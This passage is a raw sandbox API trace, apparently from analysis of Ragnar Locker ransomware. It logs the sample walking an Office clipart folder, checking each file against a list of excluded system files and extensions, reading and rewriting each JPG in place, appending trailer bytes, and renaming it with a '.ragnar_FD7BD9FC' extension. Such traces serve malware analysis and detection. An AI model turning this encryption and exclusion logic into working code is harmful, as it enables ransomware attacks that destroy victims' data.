lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.951] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.951] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.951] GetProcessHeap () returned 0x580000 [0087.951] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.951] CloseHandle (hObject=0xf4) returned 1 [0087.951] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" [0087.951] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG.ragnar_FD7BD9FC" [0087.951] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.952] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b83a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382930.JPG", cAlternateFileName="")) returned 1 [0087.952] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.952] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382930.JPG" | out: lpString1="J0382930.JPG") returned="J0382930.JPG" [0087.952] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG") returned=".JPG" [0087.952] lstrcmpiW (lpString1="J0382930.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.952] lstrcmpiW (lpString1="J0382930.JPG", lpString2="autorun.inf") returned 1 [0087.952] lstrcmpiW (lpString1="J0382930.JPG", lpString2="boot.ini") returned 1 [0087.952] lstrcmpiW (lpString1="J0382930.JPG", lpString2="bootfont.bin") returned 1 [0087.952] lstrcmpiW (lpString1="J0382930.JPG", lpString2="bootsect.bak") returned 1 [0087.952] lstrcmpiW (lpString1="J0382930.JPG", lpString2="bootmgr") returned 1 [0087.952] lstrcmpiW (lpString1="J0382930.JPG", lpString2="bootmgr.efi") returned 1 [0087.952] lstrcmpiW (lpString1="J0382930.JPG", lpString2="bootmgfw.efi") returned 1 [0087.952] lstrcmpiW (lpString1="J0382930.JPG", lpString2="desktop.ini") returned 1 [0087.952] lstrcmpiW (lpString1="J0382930.JPG", lpString2="iconcache.db") returned 1 [0087.952] lstrcmpiW (lpString1="J0382930.JPG", lpString2="ntldr") returned -1 [0087.952] lstrcmpiW (lpString1="J0382930.JPG", lpString2="ntuser.dat") returned -1 [0087.952] lstrcmpiW (lpString1="J0382930.JPG", lpString2="ntuser.dat.log") returned -1 [0087.952] lstrcmpiW (lpString1="J0382930.JPG", lpString2="ntuser.ini") returned -1 [0087.952] lstrcmpiW (lpString1="J0382930.JPG", lpString2="thumbs.db") returned -1 [0087.952] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.952] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.952] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.952] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.952] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.952] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.952] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg")) returned 0x20 [0087.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.953] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=112698) returned 1 [0087.953] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b831, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.953] GetProcessHeap () returned 0x580000 [0087.953] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.953] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.954] VirtualAlloc (lpAddress=0x0, dwSize=0x1b83a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.954] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.954] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.955] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b83a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1b83a, lpOverlapped=0x0) returned 1 [0087.957] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.958] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b83a, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.958] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b83a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1b83a, lpOverlapped=0x0) returned 1 [0087.958] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b83a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.958] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.959] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b83a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.959] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.959] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.959] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.959] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.959] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.959] GetProcessHeap () returned 0x580000 [0087.959] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.959] CloseHandle (hObject=0xf4) returned 1 [0087.959] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" [0087.959] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG.ragnar_FD7BD9FC" [0087.959] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.962] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df43, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382931.JPG", cAlternateFileName="")) returned 1 [0087.962] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.962] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382931.JPG" | out: lpString1="J0382931.JPG") returned="J0382931.JPG" [0087.962] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG") returned=".JPG" [0087.962] lstrcmpiW (lpString1="J0382931.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.962] lstrcmpiW (lpString1="J0382931.JPG", lpString2="autorun.inf") returned 1 [0087.962] lstrcmpiW (lpString1="J0382931.JPG", lpString2="boot.ini") returned 1 [0087.962] lstrcmpiW (lpString1="J0382931.JPG", lpString2="bootfont.bin") returned 1 [0087.962] lstrcmpiW (lpString1="J0382931.JPG", lpString2="bootsect.bak") returned 1 [0087.962] lstrcmpiW (lpString1="J0382931.JPG", lpString2="bootmgr") returned 1 [0087.963] lstrcmpiW (lpString1="J0382931.JPG", lpString2="bootmgr.efi") returned 1 [0087.963] lstrcmpiW (lpString1="J0382931.JPG", lpString2="bootmgfw.efi") returned 1 [0087.963] lstrcmpiW (lpString1="J0382931.JPG", lpString2="desktop.ini") returned 1 [0087.963] lstrcmpiW (lpString1="J0382931.JPG", lpString2="iconcache.db") returned 1 [0087.963] lstrcmpiW (lpString1="J0382931.JPG", lpString2="ntldr") returned -1 [0087.963] lstrcmpiW (lpString1="J0382931.JPG", lpString2="ntuser.dat") returned -1 [0087.963] lstrcmpiW (lpString1="J0382931.JPG", lpString2="ntuser.dat.log") returned -1 [0087.963] lstrcmpiW (lpString1="J0382931.JPG", lpString2="ntuser.ini") returned -1 [0087.963] lstrcmpiW (lpString1="J0382931.JPG", lpString2="thumbs.db") returned -1 [0087.963] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.963] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.963] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.963] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.963] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.963] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.963] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg")) returned 0x20 [0087.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.963] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=122691) returned 1 [0087.963] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1df3a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.964] GetProcessHeap () returned 0x580000 [0087.964] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.964] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.965] VirtualAlloc (lpAddress=0x0, dwSize=0x1df43, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.965] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.965] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.966] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1df43, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1df43, lpOverlapped=0x0) returned 1 [0087.968] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.969] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1df43, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.969] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1df43, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1df43, lpOverlapped=0x0) returned 1 [0087.969] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1df43, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.970] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.970] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1df43, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.970] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.970] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.970] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.971] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.971] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.971] GetProcessHeap () returned 0x580000 [0087.971] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.971] CloseHandle (hObject=0xf4) returned 1 [0087.971] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" [0087.971] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG.ragnar_FD7BD9FC" [0087.971] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.971] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x184d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382938.JPG", cAlternateFileName="")) returned 1 [0087.972] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.972] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382938.JPG" | out: lpString1="J0382938.JPG") returned="J0382938.JPG" [0087.972] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG") returned=".JPG" [0087.972] lstrcmpiW (lpString1="J0382938.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.972] lstrcmpiW (lpString1="J0382938.JPG", lpString2="autorun.inf") returned 1 [0087.972] lstrcmpiW (lpString1="J0382938.JPG", lpString2="boot.ini") returned 1 [0087.972] lstrcmpiW (lpString1="J0382938.JPG", lpString2="bootfont.bin") returned 1 [0087.972] lstrcmpiW (lpString1="J0382938.JPG", lpString2="bootsect.bak") returned 1 [0087.972] lstrcmpiW (lpString1="J0382938.JPG", lpString2="bootmgr") returned 1 [0087.972] lstrcmpiW (lpString1="J0382938.JPG", lpString2="bootmgr.efi") returned 1 [0087.972] lstrcmpiW (lpString1="J0382938.JPG", lpString2="bootmgfw.efi") returned 1 [0087.972] lstrcmpiW (lpString1="J0382938.JPG", lpString2="desktop.ini") returned 1 [0087.972] lstrcmpiW (lpString1="J0382938.JPG", lpString2="iconcache.db") returned 1 [0087.972] lstrcmpiW (lpString1="J0382938.JPG", lpString2="ntldr") returned -1 [0087.972] lstrcmpiW (lpString1="J0382938.JPG", lpString2="ntuser.dat") returned -1 [0087.972] lstrcmpiW (lpString1="J0382938.JPG", lpString2="ntuser.dat.log") returned -1 [0087.972] lstrcmpiW (lpString1="J0382938.JPG", lpString2="ntuser.ini") returned -1 [0087.972] lstrcmpiW (lpString1="J0382938.JPG", lpString2="thumbs.db") returned -1 [0087.972] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.972] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.972] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.972] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.972] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.972] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.972] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg")) returned 0x20 [0087.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.973] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=99539) returned 1 [0087.973] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x184ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.973] GetProcessHeap () returned 0x580000 [0087.973] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.973] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.975] VirtualAlloc (lpAddress=0x0, dwSize=0x184d3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.975] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.975] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.975] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x184d3, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x184d3, lpOverlapped=0x0) returned 1 [0087.978] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.978] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x184d3, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.978] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x184d3, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x184d3, lpOverlapped=0x0) returned 1 [0087.979] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x184d3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.979] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.979] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x184d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.979] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.979] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.980] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.980] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.980] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.980] GetProcessHeap () returned 0x580000 [0087.980] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.980] CloseHandle (hObject=0xf4) returned 1 [0087.980] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG") 